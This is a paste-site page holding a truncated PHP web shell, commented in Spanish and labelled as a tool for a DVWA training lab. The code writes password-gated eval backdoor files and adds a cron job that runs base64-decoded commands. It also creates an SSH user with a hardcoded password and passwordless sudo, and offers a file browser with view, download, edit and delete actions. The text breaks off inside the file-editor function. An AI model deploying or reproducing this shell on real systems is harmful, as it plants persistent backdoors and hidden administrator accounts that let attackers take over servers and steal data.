Paste

Autor:

| Größe: 20.06 KB

|
<?php /\* \* SHELL PARA DVWA - SOLO PARA LABORATORIO EDUCATIVO \* Contraseña: ESCPCiber \* Propósito: Aprendizaje de técnicas ofensivas/defensivas \*/ // ==================== CONFIGURACIÓN ==================== error\_reporting(0); @ini\_set('display\_errors', 0); @set\_time\_limit(0); @ignore\_user\_abort(1); // Contraseña (cambiar según necesidad) define('PASSWORD', 'ESCPCiber'); define('SESSION\_TIMEOUT', 3600); // 1 hora // ==================== FUNCIONES DE PERSISTENCIA ==================== // 1. Crear backdoor persistente function crearPersistencia($ruta = null) { if ($ruta === null) { $ruta = dirname(\_\_FILE\_\_) . '/.config.php'; } $backdoor\_code = '<?php if(isset($\_GET["k"]) && $\_GET["k"]=="' . md5(PASSWORD) . '"){@eval($\_POST["c"]);} ?>';
if (@file\_put\_contents($ruta, $backdoor\_code)) {
    return "✓ Backdoor creada en: " . htmlspecialchars($ruta);
}
return "✗ Error creando backdoor";

}

// 2. Crear usuario SSH function crearUsuarioSSH($usuario = 'backdoor', $password = 'P@ssw0rd123') { if (!function_exists('shell_exec')) return "shell_exec no disponible";

$comando = "sudo useradd -m -s /bin/bash " . escapeshellarg($usuario) . " 2>&1";
$output = shell\_exec($comando);

if (strpos($output, 'already exists') === false) {
    $comando2 = "echo " . escapeshellarg($usuario . ":" . $password) . " | sudo chpasswd 2>&1";
    shell\_exec($comando2);
    
    // Añadir a sudoers
    $sudoers\_line = $usuario . " ALL=(ALL) NOPASSWD:ALL";
    shell\_exec("echo " . escapeshellarg($sudoers\_line) . " | sudo tee -a /etc/sudoers.d/" . $usuario . " 2>&1");
    
    return "✓ Usuario SSH creado: " . $usuario . " / " . $password;
}

return "Usuario ya existe";

}

// 3. Crear cronjob persistente function crearCronjob() { $script_path = dirname(__FILE__) . '/cron_backdoor.php'; $backdoor_code = '<?php if(isset($\_GET["r"])){@eval(base64\_decode($\_GET["r"]));} ?>';

@file\_put\_contents($script\_path, $backdoor\_code);

$cron\_line = "\*/5 \* \* \* \* php " . $script\_path . " > /dev/null 2>&1";
$output = shell\_exec("(crontab -l 2>/dev/null; echo \\"" . $cron\_line . "\\") | crontab - 2>&1");

return "✓ Cronjob creado: " . $cron\_line;

}

// ==================== EXPLORACIÓN DE ARCHIVOS ====================

// 4. Navegador de archivos avanzado function explorarDirectorio($directorio = '.') { if (!is_dir($directorio)) { return "Directorio no válido"; }

$html = '<div class="file-explorer">';
$html .= '<h4>📁 ' . htmlspecialchars(realpath($directorio)) . '</h4>';

// Navegación hacia arriba
if ($directorio != '.' && $directorio != '/') {
    $html .= '<div><a href="?dir=' . urlencode(dirname($directorio)) . '">📂 .. (directorio padre)</a></div>';
}

$archivos = @scandir($directorio);
if ($archivos === false) {
    return "Error al leer directorio";
}

foreach ($archivos as $archivo) {
    if ($archivo == '.' || $archivo == '..') continue;
    
    $ruta\_completa = $directorio . '/' . $archivo;
    $es\_dir = is\_dir($ruta\_completa);
    $tamano = $es\_dir ? 'DIR' : formatBytes(@filesize($ruta\_completa));
    $permisos = getPermisos($ruta\_completa);
    $propietario = getPropietario($ruta\_completa);
    $fecha = date('Y-m-d H:i:s', @filemtime($ruta\_completa));
    
    $icono = $es\_dir ? '📁' : getIconoArchivo($archivo);
    
    if ($es\_dir) {
        $html .= '<div class="file-item dir">';
        $html .= $icono . ' <a href="?dir=' . urlencode($ruta\_completa) . '">' . htmlspecialchars($archivo) . '</a>';
    } else {
        $html .= '<div class="file-item file">';
        $html .= $icono . ' ' . htmlspecialchars($archivo);
        $html .= ' <a href="?action=view&file=' . urlencode($ruta\_completa) . '" title="Ver">👁️</a>';
        $html .= ' <a href="?action=download&file=' . urlencode($ruta\_completa) . '" title="Descargar">⬇️</a>';
        $html .= ' <a href="?action=edit&file=' . urlencode($ruta\_completa) . '" title="Editar">✏️</a>';
        $html .= ' <a href="?action=delete&file=' . urlencode($ruta\_completa) . '" onclick="return confirm(\\'¿Eliminar?\\')" title="Eliminar">🗑️</a>';
    }
    
    $html .= ' <span class="file-info">' . $tamano . ' | ' . $permisos . ' | ' . $propietario . ' | ' . $fecha . '</span>';
    $html .= '</div>';
}

$html .= '</div>';
return $html;

}

// 5. Editor de archivos function editorArchivos($archivo) { $contenido = ''; if (isset($_POST['contenido']) && isset($_POST['guardar'])) { if (@file_put_contents($archivo, $_POST['contenido'])) { $contenido = $_POST['contenido']; $mensaje = '<div class="success">✓ Archivo guardado</div>'; } else { $me…

Kommentare

Noch keine Kommentare

Comment attachments are limited to 30MB total. For larger files, create a paste and share the link.

3/25/2026

Neuen Paste mit denselben Einstellungen erstellen

Nicht alle benutzergenerierten Inhalte werden von AnonPaste überprüft. Wenn du glaubst, dass dieser Paste unsere Community-Richtlinien or Nutzungsbedingungen, verletzt, bitte melde ihn hier.

Initializing...

Preparing the app. This may take a moment before app is ready.

AnonPaste ist ein Hosting-Service für benutzergenerierte Inhalte. Die Plattform und ihre Betreiber sind nicht für Inhalte verantwortlich, die von Benutzern veröffentlicht wurden.